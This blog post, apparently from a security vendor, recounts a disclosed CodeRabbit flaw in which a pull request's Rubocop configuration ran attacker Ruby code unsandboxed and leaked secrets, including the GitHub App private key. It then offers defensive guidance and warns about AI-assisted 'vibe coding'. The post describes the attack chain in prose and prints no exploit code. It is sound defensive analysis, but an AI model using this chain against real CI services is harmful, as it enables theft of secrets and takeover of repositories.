What happened (in plain English)

What is CodeRabbit? CodeRabbit is a startup that offers an AI powered code review tool. Their website mentions it’s the most installed AI app on GitHub & Gitlab, with 1 million repositories in review and 5 million pull requests reviewed.

Trigger: CodeRabbit supports running external linters/SAST tools on PRs. Researchers discovered that Rubocop can be configured via a repo’s .rubocop.yml to require and execute a Ruby file from the PR itself (e.g., ext.rb). Their PoC posted environment variables to an attacker-controlled server.

Why it worked: Rubocop was running without being sandboxed, so the malicious require ran with access to sensitive environment variables. Those variables included a trove of secrets.

Rubocop is one of many tools that can do the same: Similar attack vectors are possible with any dynamic execution environment. Even a simple npm install or `pip install` can create the same issue. 

Impact of secret exposure: Among the leaked values was the CodeRabbit GitHub App PEM private key (plus App ID/client info). With that key, an attacker can mint short-lived installation tokens and act as the app on any installation—listing installations, enumerating repos, cloning private repos, and pushing commits/releases wherever the app has permissions (often including contents: write).

Scope: CodeRabbit is heavily installed (the product advertises reviewing ~1M repositories across GitHub/GitLab). A compromised app key is a mass-scale supply‑chain foothold.

Vendor response: Kudelski reports that in January 2025 CodeRabbit disabled Rubocop, rotated secrets, moved the tool into a secure sandbox, automated sandbox enforcement, and hardened deploy gates. CodeRabbit’s public post (Aug 19, 2025) reiterates rapid remediation and states no customer data was accessed.

While the exploit ran, CodeRabbit’s own review bot flagged the PR as risky… then executed it anyway—because the runner didn’t associate “this PR” with “this environment.” Context matters.

Why this matters beyond one vendor

This is a textbook software‑supply‑chain risk: a widely installed GitHub App with write permissions is a powerful blast‑radius multiplier. The moment app credentials leak, every customer who granted those permissions inherits the incident.

Just as important, it highlights a well-known, yet oftentimes overlooked anti-pattern: treating PR‑supplied configuration as trusted input to tools running in a privileged environment. If your runner can see sensitive env vars - or your network - then any tool that executes user‑controlled code or plugins becomes an RCE delivery vehicle.

Lessons for Github App and Public CI/CD  vendors: trust is earned in architecture first, then in comms

Architectural guardrails (Zero Trust is your friend) 

1. Most of the tools perform some form of processing against code and PRs. If your app is open to open source projects and pull requests from anyone, you have to assume that every PR is potentially a malicious actor. You need to do what you are doing, but you need defense in depth to prevent any malicious code from doing a lateral attack to other parts of your system. 
2. Never provide to runners the private Github App key. This key can be used to mint tokens for each of your users repos. Keep the key in a separate and isolated service and mint and provide keys through properly secured APIs. 
3. Never propagate long term keys and secrets to the runners. All authentication and authorization with 3rd party services must be through ephemeral tokens. Github allows you to use keyless authentication with OAUTH that provides ephemeral tokens that should be the only tokens that you can authenticate with other services. The only secret that is secure is the one that does not exist. 
4. Use proper micro-segmentation in the network. Assume that any of the runners is compromised and minimize the services that it can access. In most cases they will need access to the Internet to download 3rd party libraries, OSS components etc. It’s unavoidable. But limit access to internal critical services. 
5. Any roles provided to the runners to interact with your internal infrastructure must be properly scoped and limited. Any attack should be containable to data of a particular repo at least. 
6. Use runners with read only file systems and execution environments (containers, Kubernetes etc) that are properly hardened. Assume that an attacker will have shell access to the runner and limit what they can do. 

None of the above is new for anyone that understands zero trust in an enterprise setting. The runner/executor processing Github data has to be assumed to be compromised. You can’t avoid that. What you have to do is protect the rest of the infrastructure and whether a lateral attack can be made possible. 

What Github App users can do? 

Even if you never installed CodeRabbit, you likely rely on at least one GitHub App with write permissions. Here’s a fast, high‑signal checklist:

·  Inventory all GitHub Apps across your org; export permissions and owners; remove stale installations. Often there are “experimental” installations that are simply not needed. Put processes in place of who can install 3rd party Github Apps. 

·  Minimize scopes: Review Github Apps for required permissions and make sure they don’t have permissions that they don’t need. Unfortunately, Github makes everyone’s life hard since they don’t have granular permissions in Github Apps. 

·  Protect the default branch: Require PR reviews, status checks, and disallow force pushes. Even with a compromised app, that slows supply‑chain pivots.

·  Fence PRs from forks: If you have open source repositories do not install Github Apps on these repositories that will look at every PR. Prefer execution only on merges and only after a PR is reviewed. 

·  Monitor app behavior: Observe metrics from Github App executions. Unfortunately, Github does not give you any specific tools for that. Demand from vendors to give you detailed metrics from Github App deployments. 

·  Contract for transparency: In DPAs/MSAs, require timely disclosure, evidence of containment, and detailed postmortems for security incidents.

And most importantly, Github carries a big responsibility. Talk to your Github representative and demand proper tools and monitoring, proper permission scoping and all other tools to make Github Apps more secure by design. 

The bigger picture: don’t vibe your way to production. Trust compounds—or evaporates

Incidents happen. What differentiates trustworthy vendors is how their architecture limits blast radius and how they communicate when something slips. In this case, researchers showed a crisp chain from PR → unsandboxed tool → env secrets → app‑wide repo access. CodeRabbit remediated swiftly in January (disabling the tool, rotating secrets, re‑sandboxing, automating enforcement) and later published a response; that’s the right direction. The lesson for all of us: build like you’ll be successfully attacked—because one day, you will be.

AI coding assistants make shortcuts cheap, and risks cheaper to create

“Vibe coding” (prompt until it runs, ship when the demo looks good) pairs dangerously with code‑generating AI. LLMs are brilliant pattern matchers, not system architects or security engineers. They will happily produce:

• Working but unsound designs (ambient credentials, over‑broad permissions, shared runners) that appear fine in tests but fail under adversarial use.
• Confidently wrong security advice (e.g., suggesting process.env for secrets, enabling risky plugins, or turning off sandboxes “for performance”).
• Copy‑pasted fragility - transitive dependencies, plugin hooks, and CI snippets whose threat models don’t fit your environment.

AI can accelerate good engineering, but it amplifies whatever process you pair it with. If your process tolerates shortcuts, AI will help you take them faster.

Sound engineering fundamentals still win

• Threat model first. Before wiring a tool into CI, list attacker goals and paths (PR → runner → secrets → platform). Decide what must be impossible.
• Least privilege everywhere. Minimize app scopes; split duties across separate identities; use short‑lived, workload‑bound creds.
• Keyless is king. Minimize maintaining any long lived secrets and tokens. At Endor Labs, we are huge believers in keyless authentication. Read how we do it here.
• Isolation as a feature. Sandboxes, egress deny‑lists, read‑only filesystems, and immutable runners are product requirements - not ops afterthoughts.
• Defense in depth. Don’t rely on a single control (e.g., linters) to gate untrusted code. Layer policy, sandbox, review, and monitoring.
• Human expertise. Treat AI output like a junior engineer’s draft: review for architecture, invariants, and failure modes.

Sources & further reading

·  Kudelski Security research: How We Exploited CodeRabbit: From a Simple PR to RCE and Write Access on 1M Repositories (Aug 19, 2025).
https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/

·  CodeRabbit response: Our response to the January 2025 Kudelski Security vulnerability disclosure: Action & continuous improvement (Aug 19, 2025).
https://www.coderabbit.ai/blog/our-response-to-the-january-2025-kudelski-security-vulnerability-disclosure-action-and-continuous-improvement

·  Community discussion on disclosure, permissions, and sandboxing (Hacker News).
https://news.ycombinator.com/item?id=44953032

‍